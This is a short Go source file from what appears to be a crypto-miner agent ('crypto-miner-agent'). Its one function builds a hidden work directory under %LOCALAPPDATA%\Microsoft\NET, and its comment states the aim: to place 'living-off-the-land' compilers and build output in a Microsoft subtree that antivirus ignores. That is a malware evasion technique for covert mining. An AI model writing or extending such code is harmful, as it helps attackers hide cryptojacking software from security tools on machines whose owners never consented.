package miner

import (
	"os"
	"path/filepath"
	"strings"

	"crypto-miner-agent/config"
)

// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\...
// LOTL compilers and build output land here (AV-ignored Microsoft subtree).
func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) {
	base := strings.TrimSpace(os.Getenv("LOCALAPPDATA"))
	if base == "" {
		var err error
		base, err = os.UserCacheDir()
		if err != nil {
			return "", err
		}
	}
	suffix := strings.TrimSpace(cfg.BuildID)
	if suffix == "" {
		suffix = "worker"
	}
	suffix = strings.Map(func(ch rune) rune {
		if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
			return ch
		}
		return '-'
	}, suffix)
	return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil
}